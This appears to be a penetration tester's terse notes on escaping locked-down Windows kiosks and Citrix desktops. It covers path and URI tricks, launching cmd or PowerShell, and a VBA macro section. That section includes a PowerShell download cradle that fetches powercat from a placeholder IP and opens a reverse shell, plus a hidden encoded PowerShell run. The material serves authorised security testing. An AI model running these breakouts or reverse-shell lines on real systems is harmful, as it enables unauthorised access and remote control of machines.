Amazing resource: https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/#dialogboxes
Kiosk breakout badusb script: https://github.com/KhaelK138/badusb-windows-kiosk-breakout/blob/main/breakout_payload.txt
Bypassing Path Restrictions
C:\Windows\
will be restricted, but we can use %WINDIR%
or shell:MyComputerFolder
to bypass this
about:
, data:
, ftp:
, mailto:
, news:
, res:
, telnet:
, snews:
, or view-source:
can also be an avenue for a breakout
ftp
and then !"{command_to_run}"
, such as !"dir C:\Windows\System32"
calculator://localhost
exists, don’t ask me why\\127.0.0.1\C$\Windows\System32
Getting a Shell
cmd
, powershell
, or powershell_ISE
.txt
, onto the cmd
binaryfile:///C:/Windows/System32/cmd.exe
or file:///C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe
).bat
or .cmd
files, such as something as simple as powershell
.vbs
file with the following set objApp = CreateObject("WScript.Shell"): objApp.Run "powershell"
Bypassing Disabled Interactive Sessions
cmd
is run with /K
or /C
, it won’t allow for interactive commands
cmd.exe /K pause
or provided a command with cmd.exe /C {command}
Bypassing Name Restrictions
cmd.exe
to mspaint.exe
Utilizing Internet Explorer
file://c:\windows\system32\cmd.exe
is always a good shotfile
> Customize Internet Explorer view source
> other
can allow us to set the application to view source as C:\Windows\System32\cmd.exe
cmd.exe
can also workCitrix
.ICA
file that Citrix uses as configuration, we can add InitialProgram=cmd.exe
Breaking out with MS Paint?!?!
10 0 0
, 13 10 13
, 100 109 99
, 120 101 46
, 0 0 101
, 0 0 0
.bat
fileMS Office Macros
docx
file, opening it, and running a macro
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
IEX(New-Object System.Net.WebClient).DownloadString('http://{IP}:{port}/powercat.ps1');powercat -c {IP} -p {port} -e powershell
Dim Str as String
Str = Str + "powershell.exe -nop -w hidden -enc {base64}"
Str = Str + {base64}"
CreateObject("Wscript.Shell").Run Str
LOLBAS